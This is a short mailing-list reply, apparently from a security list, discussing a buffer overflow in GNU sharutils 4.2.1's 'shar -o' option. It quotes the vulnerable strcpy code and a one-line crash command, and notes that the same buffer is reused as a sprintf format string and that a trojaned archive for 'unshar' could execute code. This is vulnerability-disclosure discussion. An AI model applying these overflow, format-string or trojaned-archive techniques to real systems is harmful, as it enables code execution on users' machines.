[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: GNU sharutils 4.2.1 PoC
>below are some details ->
>static char output_base_name;
> case 'o':
> strcpy (output_base_name, optarg);
>sam@slackware:~$ /usr/bin/shar -o `perl -e 'print "a" x 4000'`
...looked at this program awhile ago, the same buffer also gets used as a format string later on... you can abuse it that way if you like...
sprintf (output_filename, output_base_name, ++part_number);
output = fopen (output_filename, "w");
error (EXIT_FAILURE, errno, _("Opening `%s'"), output_filename);
...although, you can get this program to execute code all over the place(non-memory corruption)...not that its a real threat, if its just for fun i get it. a better method is to create a trojan'd archive for it to 'unshar'...which is quite doable.